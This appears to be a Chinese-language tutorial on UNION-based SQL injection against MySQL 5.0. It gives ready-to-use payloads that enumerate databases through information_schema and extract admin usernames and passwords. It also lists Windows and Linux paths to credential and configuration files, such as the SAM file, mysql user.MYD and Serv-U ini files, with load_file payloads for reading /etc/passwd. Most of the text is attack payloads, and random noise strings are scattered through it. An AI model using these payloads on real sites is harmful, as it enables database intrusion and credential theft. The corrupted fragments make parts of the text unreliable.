mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

  ]" ?- K: d2 J% i
9 E% F! H7 W# h# _
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
5 O) A- y5 k; ]6 Q+ r1 K中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
4 ?8 ?2 _. W5 S9 l1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
1 T8 l) V: [$ N7 u|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
7 M2 h0 K: T, @& z0 Y2 S* i|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
: Z" Y4 ?2 l5 O. \/ F|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
! |+ z) _4 L9 S
7 u, E  b9 S; r3 f0 J, x, y. [|—字段：COLUMN_NAME ->该字段的名称
9 A' f4 }- d/ L' d; [. r# q
#########################################################################
##

0×001 获取系统信息:
- k3 M; \- V$ q: l2 N
union select 1,2,3,4,5,concat
: }1 J4 a- J; c$ x& j(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
: G. h: @5 Q4 ]2 R" L(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

0 o- Z9 E" {7 U9 _6 m; p7 v3 n/*
" B% {% s- m9 B5 N" e
9 M- J. C. H9 w; S@@global.version_compile_os 获取系统版本

" d6 u+ D7 z# b3 B@@datadir 数据库路径
3 |" E% V7 k. q: P# l0 ]. e: `database() 当前数据库名称
0x3c62723e 换行HEX值
) w3 r, e% b" a6 N
*/

1 b: I0 l$ Y4 Z' M5 ^######################################################################
; B. S1 u5 _( O+ B  l9 _5 z
6 t* ~1 x2 Y8 F) k8 p0×002 获取表名

3 [# r) O4 e' T# W! S5 eunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
: }' T% m3 `; |" h
/*
/ V3 `; C  H( O
8 |" b7 o' A* F  U- B8 N0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

* Q4 m7 `& M7 }- v4 R& @$ ?0 s% f*/

######################################################################

- |: h; E( I& j0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
6 P* }' w( Z& ^; ^; f# x- |information_schema.columns where table_name=0x61646d696e and

: J% a& R8 m7 v+ K7 n6 I3 w
; N8 P5 f# z# a5 L' [9 Jtable_schema=0x67617264656e limit 1 /*
+ S6 c. t1 |1 p. f* h: A5 K5 ^) ]
/*

) E3 w& H  A( H+ L# o5 u! q4 Tgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
! v' M9 O% _2 G2 S( W. L: s& F
, w  W' n' B( w5 q4 V' [, ]0x67617264656e ->数据库名
$ X9 R6 N! h5 @9 r( j6 o# R6 T
*/

#####################################################################
; v. D, a  Q0 R9 p6 A" l
5 e8 @& D1 Z0 g0×004 获取数据
1 s4 G. ^& ]: h# t
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

" a* F) ~# T+ Funion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
2 |% I  b1 [, S& f# Q; _/ Z
2 c$ N* a$ ?+ T- Y8 m/*

0x3c62723e 换行符号HEX编码
3 B/ n. d  L; W0 x6 i
group_concat 同时获得该字段所有数据
. c  Y9 ?6 m. W. q9 U5 b
*/




3 \- \+ C2 v; x& Q0 R; j" H
顺便添加一些mysql注入时非常有用的一些东西
5 n: K: n. L- i% |0 ^- w* n
6 [; H* p9 D# Q简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
; m7 a" H/ I0 u9 H
& n# E! Y) L. C8 z1:system_user() 系统用户名
" u" r, Z) g: i: k$ c0 f4 o+ r, h2:user()        用户名
3:current_user()  当前用户名
4:session_user()连接数据库的用户名
3 n% t* w) \2 j6 P  y5:database()    数据库名
) ^2 J* p; v- F- q7 B6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
/ ?. ?! G  D5 T# `8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
6 N; T- t& c. u* I9 o: y10@version_compile_os   操作系统  Windows Server 2003,
: g' b4 M& v. M: y8 y) j1 H收集的一些路径：
# H: Z8 W" V$ I2 U0 S5 f$ L. u( hWINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
0 g) I- h8 Q- f+ y4 z  ]c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
' D( R% I) \# p* b7 mc:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
1 j4 C/ ?5 D) U' |c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
# y( N; m% U$ b7 {( k6 lc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
2 r, n# X) @3 h- Ac:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


* w0 W) p& J! s- }6 Jc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
" k* d* w" ?  o' Z3 [' Ad:\APACHE\Apache2\conf\httpd.conf
' r' [8 p& w- ~, _5 w+ i! u! k& U6 s! GC:\Program Files\mysql\my.ini
+ W6 X9 c9 {# _  M3 \c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
9 q- y4 T, h4 Q- A# Z5 h' w6 mC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
; x( O3 @7 Q3 @
LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
, h6 `, T* ?; `* P/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
9 o# z' i5 g# v6 ^1 D) f# M( I/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
* B% N% q) J# W! P5 G/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
" R. {  A9 m1 I/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
3 [7 ^2 a. v' E( U+ ?- `/ M/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
3 T* F" d' \8 t) h# l. U6 w/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
) L' Q) @/ p0 z/ Z! ^/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
5 a& V+ ?6 s" v0 K( @, Z9 K/ S/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
, s& p( _/ C- d/ A3 ]/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
2 ^0 I5 \: L6 M  ireplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
' u) D% f- E. K+ H" w" \, lreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.